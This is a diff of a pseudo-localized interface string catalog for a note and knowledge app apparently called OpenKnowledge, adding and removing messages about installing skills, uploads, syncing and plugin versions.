"OLBz-_": ["Ḿēŕḿàĩď ďĩàĝŕàḿ ƒàĩĺēď ţō ŕēńďēŕ."],
"OLIKgw": ["Ďŕàĝ ĩţēḿ ", ["0"], " ţō ŕēōŕďēŕ"],
"ONPvOb": ["Ĺōàďĩńĝ àĝēńţ àćţĩvĩţŷ"],
+ "ONWvwQ": ["Ũƥĺōàď"],
"ONgEZF": ["Ĺōàďĩńĝ ĥēàďĩńĝś ƒōŕ ", ["pageTarget"]],
"OOIVJo": ["Ũńĩńśţàĺĺēď \"", ["0"], "\" ƒŕōḿ ", ["1"]],
"OPOiKn": ["Ćōńţēńţ ŕũĺēś"],
@@ -1363,7 +1473,6 @@
"OXb_Df": ["Śēţţĩńĝś ćōńţēńţ"],
"OXdGnd": ["Ƥŕōƀĺēḿś"],
"OYnx7O": ["Ƥàţĥ ćàńńōţ śţàŕţ ŵĩţĥ \"/\""],
- "OZJeTZ": ["Śķĩĺĺ"],
"OZavHH": ["ēvēŕŷţĥĩńĝ ũńďēŕ ", ["0"], "/"],
"Oawo4U": ["Ţĥē ŕēƥōŕţ śēŕvĩćē ćōũĺďń'ţ ƀē ŕēàćĥēď."],
"OcBurH": [
@@ -1410,20 +1519,23 @@
"PPFQ3o": ["Ĩńśţàĺĺēď \"", ["0"], "\" ĩńţō ", ["1"]],
"PQCdtv": ["\"", ["docName"], "\" ďōēśń'ţ ēxĩśţ."],
"PR9FSv": ["Ḿōvē ţō ţĥē ńēxţ vĩśũàĺ-ēďĩţōŕ ƒĩńď ŕēśũĺţ."],
+ "PRgIJh": ["Ćōũĺďń'ţ ũƥďàţē ", ["subRoot"], ": ", ["0"]],
"PRnH8G": ["ōƒ ", ["0"]],
"PTb1Nx": ["Śŷńć ĩś ƥàũśēď. Ţũŕń ĩţ ƀàćķ ōń ţō ŕēśũḿē."],
"PVUn_c": ["Ōƥēń ƒōĺďēŕ"],
"PVggyD": ["Ƒŕōńţḿàţţēŕ śćĥēḿàś"],
"PYmp-0": ["Ĩḿƥōŕţ àś ţēḿƥĺàţē"],
+ "PZn2LP": ["Ķēēƥ śōũŕćē"],
"PZtgO0": ["Ōƥēńĩńĝ ŵōŕķţŕēē"],
"P_bX4O": ["Ĥōŵ ţō śēţ ũƥ"],
"Pck6eI": [
"Ƥĩćķ à ƀũĩĺţ-ĩń ĨĎĒ ƥàĺēţţē. Ţĥē ďàŕķ ĨĎĒ ţĥēḿēś ōvēŕŕĩďē ţĥē ĺĩĝĥţ/ďàŕķ śēţţĩńĝ ĩń Ƥŕēƒēŕēńćēś."
],
"PdA9NZ": [["ahead"], " àĥēàď"],
- "PdJZ5p": ["Ńō śķĩĺĺś ŷēţ."],
+ "Pg83C9": ["Ũƥĺōàďēď \"", ["0"], "\"."],
"Pgu10b": ["Śàvēď àś <0>", ["slug"], ".ḿď</0>"],
"PgzIpb": ["Ḿōvē ţō ţĥē ƥŕēvĩōũś vĩśũàĺ-ēďĩţōŕ ƒĩńď ŕēśũĺţ."],
+ "PhIa-X": ["Ŕēƥĺàćē ţĥēśē ćōƥĩēś ŵĩţĥ śŷḿĺĩńķś ţō ţĥē śōũŕćē?"],
"PhLu69": [
"Ţĥàţ ēńďƥōĩńţ ćàń'ţ ƀē ũśēď. Ēńţēŕ àń ĥţţƥś:// ŨŔĹ — ĥţţƥ:// ĩś ōńĺŷ àĺĺōŵēď ƒōŕ ĺōćàĺĥōśţ."
],
@@ -1432,6 +1544,7 @@
"PkeYXL": ["Ēxƥàńďēď ĝŕàƥĥ ḿōďē"],
"Pkw7J9": ["Ţĥĩś ƒōĺďēŕ ĩś ēḿƥţŷ."],
"PlGC6r": ["ţĥē ĝĩţ ēxćĺũďē ƒĩĺē ĩśń'ţ ŵŕĩţàƀĺē"],
+ "Pp0Vgd": ["Ćĺĩćķ ţō ĩńśţàĺĺ ĩń ", ["label"]],
"PpJy-V": ["Ţĥē ēńďƥōĩńţ ďĩďń'ţ ŕēśƥōńď ĩń ţĩḿē."],
"PqYWiC": [
"Ćōũĺďń'ţ ŕēśţàŕţ ţĥē śēŕvēŕ àũţōḿàţĩćàĺĺŷ. Ţŕŷ ŕũńńĩńĝ `ōķ śţōƥ àĺĺ` ĩń à ţēŕḿĩńàĺ, ţĥēń ŕēōƥēń ţĥĩś ƥŕōĴēćţ — ōŕ ŕēśţàŕţ ŷōũŕ ćōḿƥũţēŕ ĩƒ ĩţ ƥēŕśĩśţś."
@@ -1439,6 +1552,7 @@
"PrJYSN": ["Ţĥĩś ƒōĺďēŕ ĩśń'ţ ōń ĜĩţĤũƀ ŷēţ. Ţĥē ĺĩńķ ŵōń'ţ ŵōŕķ ũńţĩĺ ĩţ'ś ƥũśĥēď."],
"PrVaZo": ["Ũńĩńśţàĺĺ ŌƥēńĶńōŵĺēďĝē?"],
"PrhzDE": ["Ƥàń ũƥ"],
+ "Q-DKvr": ["Ĩńśţàĺĺ ƒŕōḿ ", ["source"]],
"Q1mtyd": ["Ĥĩďē śĩďēƀàŕ"],
"Q5fqMz": ["Ćōńńēćţĩōń ēŕŕōŕ — ţŕŷ àĝàĩń"],
"Q6hhn8": ["Ƥŕēƒēŕēńćēś"],
@@ -1446,13 +1560,20 @@
"Q7cNKe": ["Śķĩĺĺś àŕē ńōŵ śĥàŕēď. Ćōḿḿĩţ .ōķ/śķĩĺĺś ţō śĥàŕē ţĥēḿ ŵĩţĥ ŷōũŕ ţēàḿ."],
"Q7xfEj": ["ďōńē"],
"Q8A-U_": ["Ćōńńēćţēď ţō"],
+ "QASTNu": [
+ "Ţĥē ",
+ ["editor"],
+ " ƒōĺďēŕ ĥōĺďś à ďĩƒƒēŕēńţ vēŕśĩōń ōƒ ţĥĩś śķĩĺĺ. Ƥĩćķ ŵĥĩćĥ ōńē ŵĩńś, ōŕ ķēēƥ ƀōţĥ ũńďēŕ ďĩƒƒēŕēńţ ńàḿēś. Ŵĥàţēvēŕ ŷōũ ŕēƥĺàćē ĩś ƀàćķēď ũƥ ƒĩŕśţ."
+ ],
"QAi7Q9": [
"ßŕàńćĥ <0>",
["trimmed"],
"</0> àĺŕēàďŷ ĥàś à ŵōŕķţŕēē — ĩţ'ĺĺ ōƥēń ĩń ĩţś ōŵń ŵĩńďōŵ."
],
+ "QB-moX": ["Ĩńśţàĺĺ ĩţ ţō ŷōũŕ ōţĥēŕ ēďĩţōŕś (Ćĺàũďē Ćōďē, Ćũŕśōŕ, Ćōďēx) ţō śĥàŕē ĩţ."],
"QDZbvN": [["diffDays"], "ď àĝō"],
"QHCx0c": ["ßũĝ ŕēƥōŕţ ĥĩśţōŕŷ"],
+ "QKgePK": ["Àĺĩĝńēď ", ["editor"], " ţō ţĥē śōũŕćē (ĩţś ƀŷţēś àŕē ƀàćķēď ũƥ)"],
"QLgdT6": ["àńŷ ďōć ńàḿēď ", ["0"]],
"QM3SBZ": ["Ƥĺàń (", ["done"], "/", ["0"], ")"],
"QOINDn": ["ēḿƥţŷ"],
@@ -1460,6 +1581,7 @@
"QQghPu": ["Ĩńśţàĺĺ ĩń Ćĺàũďē Ďēśķţōƥ"],
"QR5SP1": ["ćŕēàţēď ţēḿƥĺàţē"],
"QTsvh1": ["Ţĥĩś àĝēńţ ńēēďś ŷōũ ţō śĩĝń ĩń ƒĩŕśţ — śēē ţĥē ńōţĩćē ƀēĺōŵ."],
+ "QWdKwH": ["Ḿōvē"],
"QYTOaN": ["Ŷōũ ćàń ćĥàńĝē ţĥĩś ĺàţēŕ ĩń <0>Śēţţĩńĝś → Śŷńć</0>."],
"QYfQdv": [["displayName"], " ĆĹĨ"],
"QcpeeE": ["Ńàvĩĝàţē ţō ", ["docName"]],
@@ -1507,11 +1629,11 @@
"Ŵē'ĺĺ ƀũĩĺď <0>ōƥēńķńōŵĺēďĝē.śķĩĺĺ</0>, śàvē ĩţ ţō <1>~/Ďōŵńĺōàďś</1>, àńď ōƥēń ţĥē Ćĺàũďē Ďēśķţōƥ Àƥƥ ƒōŕ ŷōũ."
],
"RO-yts": ["Ƒàĩĺēď ţō ďĩśàƀĺē ĺĩńķ ƥŕēvĩēŵś — ", ["detail"]],
+ "RO9IbI": ["Ŕēvēŕţ ƒàĩĺēď: ", ["0"]],
"RQWuCs": ["Ǫũēũē ḿēśśàĝē"],
"RSqaSd": ["ƤŕōĴēćţ ŕōōţ"],
"RVZJWQ": ["Śēàŕćĥ ƥŕōĴēćţś..."],
"RXEbZy": ["Ĩń àƥƥ"],
- "RXNu_r": ["Śĥàŕēď vĩà ĝĩţ ŵĩţĥ ēvēŕŷōńē ŵōŕķĩńĝ ōń ţĥĩś ƥŕōĴēćţ."],
"RY6Bq1": ["Ōƥēń śĥàŕēď ", ["targetNoun"]],
"RZXTlY": ["Àũţō-ƒĩx (", ["count"], ")"],
"R_U_A4": ["Àďď ƒĩĺē ōŕ ƒōĺďēŕ ƥàţţēŕń, ē.ĝ. ĝũĩďēś/**/*"],
@@ -1530,12 +1652,12 @@
],
"Rj01Fz": ["Ĺĩńķś"],
"RlCInP": ["Śĺàśĥ ćōḿḿàńďś"],
- "RlLl3G": ["Àćţĩōńś ƒōŕ ", ["0"]],
"RmBY0A": ["Ńō ĝĩţ ŕēḿōţē"],
"RnrnTe": ["Àĺŕēàďŷ śēţ ũƥ — ōķ ĩś àvàĩĺàƀĺē ĩń ŷōũŕ ţēŕḿĩńàĺ"],
"RoafuO": ["Śēńď ƒēēďƀàćķ"],
"RobAKV": ["Ũƥďàţē ţĥē ďēśţĩńàţĩōń àńď ōƥţĩōńàĺ śēćţĩōń àńćĥōŕ."],
"Rq1vFD": ["Ţŕēē vĩēŵ ōƥţĩōńś"],
+ "RqSvT0": ["Ĩḿƥōŕţĩńĝ"],
"RrAIZx": ["Ŵĥàţ ćōńƒĩĝ śĥàŕĩńĝ ćōvēŕś"],
"Rsdhj9": ["Ćōńƒĩĝũŕàţĩōń ŵàŕńĩńĝś"],
"Rx5ReQ": ["Ŕēńàḿē ", ["keyName"]],
@@ -1564,6 +1686,7 @@
"SUOoXn": ["Ƒàĩĺēď ţō ōƥēń ƥŕōĴēćţ."],
"SVLPt5": [["formatted"], " ĜĩţĤũƀ śţàŕś"],
"SXCSQd": ["Ćōƥĩēď ƥàţĥ"],
+ "SXEdCq": ["Ḿōvē ţō ", ["0"], "?"],
"SYfHmN": ["Ũńƥĩń ţàƀ"],
"Sc1bKE": [
"Ĺōćàĺ ćōĺĺàƀōŕàţĩōń ďàţà ƒōŕ \"",
@@ -1580,7 +1703,6 @@
"SkMZlS": ["Ćōũĺďń'ţ ŕēḿōvē <0>", ["targetGitPath"], "</0>: ", ["removeGitError"]],
"Skr_7L": ["Śēàŕćĥ ŵōŕķţŕēēś"],
"SlfejT": ["Ēŕŕōŕ"],
- "Sq8lf2": ["Ēďĩţōŕś ţō ĩńśţàĺĺ śķĩĺĺś ĩńţō"],
"SqIoy_": ["Àũţō-ƒĩx — ńō ƥŕōƀĺēḿś ĥēŕē ĥàvē àń àũţōḿàţĩć ƒĩx"],
"SrOuyg": ["Ďōćũḿēńţ ƥàńēĺś"],
"SvBFYA": ["Ńō ŕēćēńţ ƥŕōĴēćţś"],
@@ -1615,8 +1737,11 @@
"Te6sK2": [
"Ĥēàďś ũƥ: ēďĩţĩńĝ àńŷ ŕũĺē ōŕ ōƥţĩōń ĥēŕē ćŕēàţēś à <0>.ḿàŕķďōŵńĺĩńţ.Ĵśōń</0> ƒĩĺē ĩń ŷōũŕ ƥŕōĴēćţ ţō śàvē ŷōũŕ ćĥàńĝēś."
],
+ "TgZOXj": ["Ćĥōōśē ƒōĺďēŕ"],
"ThmUrC": ["Ćōũĺď ńōţ ƒĩńàĺĩźē ƥŕōĴēćţ śēţũƥ. Ţŕŷ àĝàĩń."],
"Tjc1pH": ["Śēćţĩōń <0>(ōƥţĩōńàĺ ĥēàďĩńĝ àńćĥōŕ)</0>"],
+ "Tn5sik": ["Ţēĺĺś àĝēńţś ŵĥēń ţō ŕēàćĥ ƒōŕ ţĥĩś śķĩĺĺ. Ŷōũ ćàń ēďĩţ ĩţ ĺàţēŕ."],
+ "Tq3pcs": ["Ķēēƥ ḿĩńē"],
"TsZmgr": ["Ţĥē ƒĩĺē ōń ďĩśķ, àńď ţĥē ĩď àĝēńţś ũśē."],
"TvY_XA": ["Ďōćũḿēńţàţĩōń"],
"TwYboS": ["Ńàvĩĝàţē ĆōďēḾĩŕŕōŕ śōũŕćē śēàŕćĥ ŕēśũĺţś ōŕ ďĩśḿĩśś ţĥē śēàŕćĥ ƥàńēĺ."],
@@ -1630,19 +1755,28 @@
"U4nTfu": ["Ēńàƀĺē Ƒōĺĺōŵ"],
"U5Spo9": ["Ćōńţēńţ ďĩŕēćţōŕŷ ḿũśţ ƀē ĩńśĩďē ţĥē ƥŕōĴēćţ"],
"U6wmNc": ["Śŷńć ƥàũśēď"],
- "U7HJ4y": ["Ḿàńàĝēď ƀŷ ŌƥēńĶńōŵĺēďĝē (ŕēàď-ōńĺŷ)"],
"U88xbi": ["Ƒàĩĺēď ţō ćŕēàţē ţĥē śćĥēḿà ƒĩĺē"],
"U8CD-l": ["Ćōƥŷ ƒũĺĺ ƥàţĥ, Ńō ŵōŕķśƥàćē"],
"U9tm58": ["Ĥĩďē ƥŕōƀĺēḿ ĩńďĩćàţōŕś"],
"UBv8UK": ["Ďēĺēţē Ƥēŕḿàńēńţĺŷ"],
"UDFrWm": ["Ćĥēćķĩńĝ ĜĩţĤũƀ ćōńńēćţĩōń..."],
+ "UDb2YD": ["Ŕēàćţ"],
"UEdTEN": ["Ōŕƥĥàńēď"],
"UGeJuP": ["Àĺĺōŵēď vàĺũēś (ēḿƥţŷ = àńŷ)"],
+ "UHwc0P": [
+ "Ţĥĩś ĩś à ƥŕēvĩēŵ ōƒ ",
+ ["boldName"],
+ ", ďēţēćţēď ĩń ",
+ ["boldHarness"],
+ " àţ ţĥē ",
+ ["boldLevel"],
+ " ĺēvēĺ."
+ ],
"UL8A9w": ["Ţàĝ"],
- "UMrOy2": ["Śķĩĺĺ \"", ["trimmedName"], "\" ćŕēàţēď"],
+ "UNwKSz": ["Àũţō-ũƥďàţē ōń ƒōŕ \"", ["name"], "\""],
+ "UPWItY": ["À ƒōĺďēŕ ćōńţàĩńĩńĝ ŚĶĨĹĹ.ḿď."],
"UPjaXD": ["Ćōũĺďń'ţ ďũƥĺĩćàţē \"", ["0"], "\": ", ["1"]],
"UQAp48": ["Śēàŕćĥ ţēḿƥĺàţēś"],
- "UQMMvx": ["Ḿōvēď \"", ["name"], "\" ţō ", ["0"]],
"URmyfc": ["Ďēţàĩĺś"],
"UTNVyS": ["Śēĺēćţ ţĥē ƒũĺĺ śōũŕćē ďōćũḿēńţ."],
"UTZ97u": ["Śēĺēćţĩōń ḿũśţ ƀē ĩńśĩďē ţĥē ƥŕōĴēćţ"],
@@ -1665,6 +1799,16 @@
["shareBranch"],
"</0> ŕēćēńţĺŷ. Śŵĩţćĥ àńď ũƥďàţē ţō ōƥēń ĩţ."
],
+ "UceXfW": [
+ ["boldName"],
+ " ĩś ƥàŕţ ōƒ ţĥē <0>",
+ ["0"],
+ "</0> ƥĺũĝĩń",
+ ["pluginVersion"],
+ " — ŕēàď-ōńĺŷ. ",
+ ["boldHarness"],
+ " ŕēƥĺàćēś ƥĺũĝĩń ƒĩĺēś ōń ũƥďàţē."
+ ],
"Uci-Ph": ["Ōŕďēŕēď Ĺĩśţ"],
"Ud0Pj9": [
"<0>Ḿĩŕŕōŕ śōũŕćē ŕēḿōvēď.</0> Ţĥē ďōć <1>",
@@ -1676,6 +1820,7 @@
],
"UhpfxY": ["Ƥàń ĺēƒţ"],
"UkQGhd": ["Ĥĩďē ŕēƥĺàćē"],
+ "Uobeu9": ["Àďďś ţĥē śķĩĺĺ ţō ", ["rootRel"], " — àĺśō ŕēàď ƀŷ ", ["0"]],
"Uoux8m": ["Ĩńćĺũďē ţĥĩś ćōḿḿēńţ ĩń ţĥē ńēxţ śēńď"],
"Up2_7p": ["Ćōƥŷ ƒũĺĺ ƥàţĥ"],
"UpCz01": ["Ţĥĩś ďōć"],
@@ -1705,10 +1850,11 @@
"VFQXPl": [
"Ēxţēŕńàĺ ĺĩńķ ƥŕēvĩēŵś śĥōŵ à ćàŕď ŵĩţĥ ţĥē śĩţē ńàḿē, ƥàĝē ţĩţĺē, àńď ďēśćŕĩƥţĩōń ŵĥēń ŷōũ ĥōvēŕ à ĺĩńķ."
],
- "VITWk5": ["Ḿàńàĝēď ƀŷ ŌƥēńĶńōŵĺēďĝē"],
"VIiaFH": ["Ćōũĺďń'ţ ŕēàď ţĥē ǫũēũēď ćōḿḿēńţś: ", ["0"]],
"VIwCaD": ["Ēńţŕŷ"],
+ "VJaBca": ["Ćĥōōśē à śķĩĺĺ ƒōĺďēŕ"],
"VM7H66": ["Ţĥĩś ƒĩĺē ĩś ƀĩńàŕŷ àńď ćàń'ţ ƀē śĥōŵń àś ţēxţ."],
+ "VNNRfN": ["ḿàķē śōũŕćē"],
"VNgKZz": ["Àďvàńćēď śēţţĩńĝś"],
"VTulZj": ["Ōƥēń ĩń ŵōŕķţŕēē"],
"VUijjF": ["Ēḿƀēď àń ĩḿàĝē ŵĩţĥ ōƥţĩōńàĺ àĺţ ţēxţ."],
@@ -1723,18 +1869,22 @@
"VbyRUy": ["Ćōḿḿēńţś"],
"VcqWBy": ["Ũƥĺōàď ḿàŷ ĥàvē śũććēēďēď ƀũţ ţĥē śĩďēƀàŕ ĩś ōũţ ōƒ ďàţē — ŕēƒŕēśĥ ţō ŕēśŷńć"],
"VdXv4D": ["Ćĺōńē ƒŕōḿ ĜĩţĤũƀ"],
+ "VeVIIk": ["Ĺōàďĩńĝ śķĩĺĺś"],
"Vftef5": ["Ćōḿḿōń ḿàŕķďōŵń ĩśśũēś — ĥàŕď ţàƀś, ĥēàďĩńĝ ĩńćŕēḿēńţś, ĺĩśţ ḿàŕķēŕś, àńď ḿōŕē."],
"Vlc75q": ["Ķēēƥ ƒĩĺē ďēĺēţēď"],
"VmJT51": ["Ĺōàďĩńĝ ŷōũŕ ŕēƥōŕţś"],
+ "VmXASo": ["(śŷḿĺĩńķ)"],
"VsaI0G": [["folderCount", "plural", { "one": ["ƒōĺďēŕ"], "other": ["ƒōĺďēŕś"] }]],
"VuxVSP": ["Śţàŕţ śōũŕćē ćōḿƥĺēţĩōń"],
"VvS_k_": ["Ćōńƒĩĝ śĥàŕĩńĝ ĩś ńōŵ ĺōćàĺ-ōńĺŷ."],
+ "VxLvKE": ["Ŕēvēŕţ ţō ĩńśţàĺĺēď vēŕśĩōń"],
"VxO6wR": ["Ďēĺēţē śēĺēćţēď ƒĩĺēś ōŕ ƒōĺďēŕś"],
"VzGJRl": ["Àďď ĺĩńķ"],
"W-ntoW": ["ĥēàďĩńĝ-śĺũĝ"],
"W0i24j": ["ŌƀĴēćţ"],
"W1SI2K": [["0", "plural", { "one": ["#", " ŵàŕńĩńĝ"], "other": ["#", " ŵàŕńĩńĝś"] }]],
"W1qRuM": ["Ţĥĩś ďōćũḿēńţ ĩś àĺŕēàďŷ àćţĩvē ĩń ţĥē ēďĩţōŕ. Ũśē Ōƥēń ţō ćōĺĺàƥśē ţĥē ĝŕàƥĥ."],
+ "W3Tsgy": ["Ďēţēćţēď ĩń ", ["0"]],
"W5A0Ly": ["Àń ũńēxƥēćţēď ēŕŕōŕ ōććũŕŕēď."],
"W7XJN4": [
"Ćàń'ţ ńēśţ ƥŕōĴēćţś. Àń ŌƥēńĶńōŵĺēďĝē ƥŕōĴēćţ àĺŕēàďŷ ēxĩśţś àţ <0>",
@@ -1765,6 +1915,7 @@
],
"Waiy-j": ["Ţĥē àĝēńţ'ś ƥēŕśōńà, vàĺũēś, àńď vōĩćē."],
"WamGNs": ["Ƒàĩĺēď ţō ĺōàď ƤĎƑ: ", ["error"]],
+ "Wboy1j": ["~/.ḿŷţēàḿ/śķĩĺĺś"],
"WcWS__": ["Ďōŵńĺōàď ƒĩĺē"],
"Wcv-Zi": ["Ḿàķē ţĥĩś ķńōŵĺēďĝē ƀàśē àvàĩĺàƀĺē àś à Ćĺàũďē Śķĩĺĺ."],
"We7h2I": ["📝 ōŕ àśśēţś/ĩćōń.ƥńĝ"],
@@ -1775,7 +1926,14 @@
"WhOsNE": ["Śţŕĩķēţĥŕōũĝĥ"],
"Wi-VWy": ["Ćōũĺďń'ţ śēńď ţĥē ŕēƥōŕţ"],
"WkTLN7": ["Śĥōŵ ōńĺŷ ḿàŕķďōŵń ƒĩĺēś"],
+ "WkyP2p": ["Śķĩĺĺś śēćţĩōń"],
"WmPbvm": ["Ĝēţ ƥŕōďũćţ ũƥďàţēś ĩń ŷōũŕ ĩńƀōx."],
+ "WnsbUT": [
+ "Ţĥĩś ƥēŕḿàńēńţĺŷ ŕēḿōvēś ",
+ ["0"],
+ ". Ţĥē ƥĺũĝĩń ĩţ ŵàś ćōƥĩēď ƒŕōḿ ĩś ũńţōũćĥēď — ĩţś ŕēàď-ōńĺŷ vēŕśĩōń ŵĩĺĺ śĥōŵ ũƥ àś ďēţēćţēď àĝàĩń."
+ ],
+ "WpE38V": ["Ƒōũńď ōńē śķĩĺĺ: ", ["0"]],
"Wq6Wcm": ["Ƥĺēàśē ēńţēŕ à vàĺĩď ēḿàĩĺ àďďŕēśś."],
"WqLq6M": ["Ōƥēń ŵĩţĥ ÀĨ ", ["displayName"]],
"Wtw22s": ["Ĩńśţàĺĺĩńĝ"],
@@ -1792,6 +1950,7 @@
"XAyxsa": ["Ćĥēćķ ōũţ ŕēḿōţē ƀŕàńćĥ"],
"XDzAnp": ["Ōƥēńś ĩń à ńēŵ ţàƀ"],
"XH30C4": ["ďōćũḿēńţ"],
+ "XIltnd": ["À śķĩĺĺ ńàḿēď \"", ["trimmed"], "\" àĺŕēàďŷ ēxĩśţś ĥēŕē"],
"XJOV1Y": ["Àćţĩvĩţŷ"],
"XK5cbh": ["Ţŕàvēŕśē ŌƥēńĶńōŵĺēďĝē ńàvĩĝàţĩōń ĥĩśţōŕŷ ƒōŕŵàŕď."],
"XNBGZw": ["Ḿēśśàĝē ńōţ śēńţ: ", ["0"]],
@@ -1799,10 +1958,12 @@
"XPqe3B": ["Ćŕēàţē ńēŵ ţàĝ #", ["tagValue"]],
"XQkJlB": ["Ńō ōƥēń ćōńvēŕśàţĩōńś. Ŕēōƥēń à ƥàśţ ōńē, ōŕ śţàŕţ à śēśśĩōń ŵĩţĥ ţĥē + ƀũţţōń."],
"XRuL0i": ["Ćŕēàţē ƥàĝē"],
+ "XSb9HS": ["Ďĩśćàŕď ĺōćàĺ ēďĩţś, ŕēśţōŕē ţĥē ĩńśţàĺĺēď vēŕśĩōń"],
"XT-L4j": ["Ţũŕń ōń àń àĝēńţ ţō ćŕēàţē ŵĩţĥ ÀĨ"],
"XU0OXn": ["Ēńàƀĺē àũţō-śŷńć"],
"XU5AOg": ["Ĩńƥũţ"],
"XV5sC0": ["Ōƥēń ŵōŕķţŕēē"],
+ "XVnIvs": ["Ĩńśţàĺĺ śķĩĺĺś"],
"XW18jo": ["Ƥàĝē ĥēàďĩńĝś ŕēśƥōńśē ďĩď ńōţ ḿàţćĥ śũććēśś śćĥēḿà"],
"XYlJJT": ["Śēţţĩńĝ ũƥ"],
"XZkdtg": ["Śŵĩţćĥ ƀŕàńćĥ"],
@@ -1812,6 +1973,7 @@
"XfA5xx": [["label"], " ēńàƀĺēď"],
"XfzqjK": ["ţēḿƥĺàţē \"", ["name"], "\""],
"Xg-Ntj": ["Ţĥē ţōķēń ńēēďś ţĥē ŕēƥō àńď ŕēàď:ũśēŕ śćōƥēś."],
+ "XgqUOy": ["Ńō śķĩĺĺ ƒōũńď àţ ţĥàţ śōũŕćē. Ĩḿƥōŕţ ŵĩĺĺ ŕēƥōŕţ ŵĥŷ ĩƒ ŷōũ ćōńţĩńũē."],
"Xisk4u": ["Ēďĩţēď ", ["editedAgo"]],
"Xk0-VC": [
"Ƥŕēvĩēŵś ōƒ ĺĩńķś ţō ōţĥēŕ ďōćũḿēńţś ĩń ţĥĩś ƥŕōĴēćţ àŕē àĺŵàŷś ōń àńď ŕēàď ƒŕōḿ ţĥē ĺōćàĺ ĩńďēx — ńōţĥĩńĝ ĺēàvēś ŷōũŕ ćōḿƥũţēŕ ƒōŕ ţĥōśē."
@@ -1824,7 +1986,7 @@
"XopE_I": ["Ƒàĩĺēď ţō ƥàŕśē ƀàćķĺĩńķś ēŕŕōŕ ŕēśƥōńśē (ĤŢŢƤ ", ["status"], ")"],
"Xp7Kq4": ["Àńōţĥēŕ śŷńć ōƥēŕàţĩōń ĩś ĩń ƥŕōĝŕēśś. Ţŕŷ àĝàĩń ĩń à ḿōḿēńţ."],
"XpIZmv": ["Ƒēńćēď ćōďē ƀĺōćķ ŵĩţĥ ḿōńōśƥàćē ţēxţ."],
- "XqNHcm": ["Ćōũĺďń'ţ ũƥďàţē śķĩĺĺ ţàŕĝēţś: ", ["0"]],
+ "XszXjc": ["Ŕēńàḿēď ţō ", ["0"]],
"XtRoxT": ["Ƥàĝē ", ["pageNumber"]],
"XuQzrk": [
"Ćōũĺďń'ţ ŕēśţàŕţ ţĥē śēŕvēŕ — àńōţĥēŕ ƥŕōćēśś ōŵńś ĩţ. Ǫũĩţ ōţĥēŕ ŌƥēńĶńōŵĺēďĝē ŵĩńďōŵś ƒōŕ ţĥĩś ƥŕōĴēćţ, ţĥēń ţŕŷ àĝàĩń."
@@ -1843,9 +2005,11 @@
"</1> ƀēćàũśē ĩţ ćōńţàĩńś à <2>.ĝĩţ</2> ƒōĺďēŕ (ōńē .ōķ/ ƥēŕ ĝĩţ ŕēƥō). <3>Ćōńţēńţ ďĩŕēćţōŕŷ</3> ďēƒàũĺţś ţō <4>.</4> (ţĥē ŵĥōĺē ŕēƥō); ţŷƥē à śũƀ-ƒōĺďēŕ ţō ńàŕŕōŵ ĩţ."
],
"Y2tU6I": ["Ďēĺēţē ", ["0"]],
+ "Y5la_5": ["Ĩńśţàĺĺ ĩńţō"],
"Y6PKd1": ["Ŕēḿōvē ", ["name"], " ƒŕōḿ ŕēćēńţ ƥŕōĴēćţś"],
"Y6SK9K": ["Śĥōŵ śōũŕćē"],
"Y8ViJx": ["À ńēŵēŕ vēŕśĩōń ḿàŷ ĥàvē ƀēēń ďēƥĺōŷēď śĩńćē ţĥĩś ţàƀ ōƥēńēď."],
+ "Y9c_nf": ["0/0"],
"YBt9YP": ["ßēţà"],
"YC6_wP": ["Ēďĩţ ", ["keyName"]],
"YDL7N6": [
@@ -1864,6 +2028,7 @@
"YRavYS": [
"À ƥēŕśōńàĺ ćōĺōŕ-ţĥēḿē ƥĩćķēŕ — ńōţ śĥàŕēď ŵĩţĥ ŷōũŕ ƥŕōĴēćţ. Ŵĥēń ōń, ĩţ àƥƥēàŕś ũńďēŕ Ƥĺũĝĩńś ĩń ţĥē śĩďēƀàŕ."
],
+ "YS9mSt": ["Ũƥďàţēď \"", ["name"], "\" ƒŕōḿ ", ["0"]],
"YSFv5w": ["Ńō ĝĩţ ŕēƥōśĩţōŕŷ — ćōńƒĩĝ śĥàŕĩńĝ ďōēś ńōţ àƥƥĺŷ ĥēŕē."],
"YTLmTM": ["Ŕēḿōvē ţĥē ƥàŕēńţ <0>.ĝĩţ</0> ƒōĺďēŕ"],
"YW7Q86": ["Śēàŕćĥ śēţţĩńĝś ńōţ ŷēţ ĺōàďēď — ţŕŷ àĝàĩń ĩń à ḿōḿēńţ"],
@@ -1875,6 +2040,7 @@
"Yi0VMG": ["Ũƥĺōàď ", ["keyName"]],
"YjMLg2": ["Ōƒƒ — ēxţēŕńàĺ ĺĩńķś śĥōŵ ōńĺŷ ţĥēĩŕ ŨŔĹ. Ńō ŕēǫũēśţś ĺēàvē ţĥĩś ćōḿƥũţēŕ."],
"YjhKI5": ["Ćĺōńĩńĝ..."],
+ "YjiZAs": ["ćĥàńĝēď ōũţśĩďē"],
"YkvmF4": ["Ńēŵ śēśśĩōń"],
"YlDuro": ["Ƒĩţ ĥēĩĝĥţ"],
"Yp-Hi_": ["Ōƥēń śēţţĩńĝś"],
@@ -1882,7 +2048,9 @@
["behind", "plural", { "one": ["#", " ćōḿḿĩţ ƀēĥĩńď"], "other": ["#", " ćōḿḿĩţś ƀēĥĩńď"] }]
],
"YwPUUP": ["Ţĥĩś ƥàćķ ĩś àĺŕēàďŷ śēţ ũƥ ĥēŕē."],
+ "Yy90sM": ["Śķĩĺĺ \"", ["name"], "\" ćŕēàţēď"],
"YyXtnN": ["Ũńďēŕĺĩńē"],
+ "Yzs3QX": ["Ḿōŕē śķĩĺĺ àćţĩōńś"],
"Z1LF1M": ["Śĥàŕĩńĝ à ďōć ńēēďś à ĜĩţĤũƀ ŕēƥōśĩţōŕŷ. Ćŕēàţē ōńē ƒōŕ ţĥĩś ƥŕōĴēćţ."],
"Z2M5XM": ["Ŕēàśōń: ", ["reason"], " (", ["osDetail"], ")"],
"Z3FXyt": ["Ĺōàďĩńĝ..."],
@@ -1900,7 +2068,8 @@
],
"Z8KDox": ["Ēńţēŕ à ƒōĺďēŕ ńàḿē (ē.ĝ. ƀŕàĩń)."],
"Z8lGw6": ["Śĥàŕē"],
- "ZARuZJ": ["Ćōũĺďń'ţ ĺōàď ƒĩĺēś"],
+ "Z8nach": ["Ũƥĺōàď ƒàĩĺēď: ", ["0"]],
+ "ZBF9fn": ["Ḿàńàĝē śķĩĺĺ ƒōĺďēŕś"],
"ZBt4rI": ["Ĩńśţŕũćţĩōń ƒōŕ ţĥē ÀĨ"],
"ZBxvV3": ["Ńēŵ Ţēŕḿĩńàĺ"],
